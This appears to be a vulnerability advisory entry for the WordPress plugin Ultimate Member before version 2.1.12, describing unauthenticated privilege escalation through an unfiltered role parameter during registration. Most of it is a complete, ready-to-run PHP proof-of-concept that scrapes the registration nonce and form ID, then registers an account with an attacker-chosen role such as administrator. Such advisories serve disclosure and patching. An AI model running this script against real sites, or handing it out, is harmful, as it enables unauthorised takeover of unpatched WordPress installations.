Ultimate Member < 2.1.12 - Unauthenticated Privilege Escalation via User Roles

Description

Due to the lack of filtering on the role parameter that could be supplied during the registration process, an attacker could supply the role parameter with a WordPress capability or any custom Ultimate Member role and effectively be granted those privileges.

Proof of Concept

<?php

// Settings
$wp_url = $argv[1];
$username = $argv[2];
$name = $argv[3];
$lastname = $argv[4];
$email = $argv[5];
$um_role = $argv[6];

// Pull the Nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . '/register');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$content = curl_exec($ch);
curl_close($ch);

preg_match('/_wpnonce"\svalue="([^"]+)"/', $content, $matches);
$nonce = $matches[1];

// Pull the form_id
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . '/register');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$content = curl_exec($ch);
curl_close($ch);

preg_match('/id=\"form_id_([^"]+)"/', $content, $matches);
$form_id = $matches[1];

// Update Settings
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . '/register');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'user_login-' . $form_id => $username,
    'first_name-'. $form_id => $name,
    'last_name-' . $form_id => $lastname,
    'user_email-' . $form_id => $email,
    'user_password-' . $form_id => 'StrongPassword123!',
    'confirm_user_password-' . $form_id => 'StrongPassword123!',
    'role' => $um_role,
    'form_id' => $form_id,
    'timestamp' => '1603399250',
    'um_request' => '',
    '_wpnonce' => $nonce,
    '_wp_http_referer' => 'register'

]);

$output = curl_exec($ch);
curl_close($ch);
print_r($output);

?>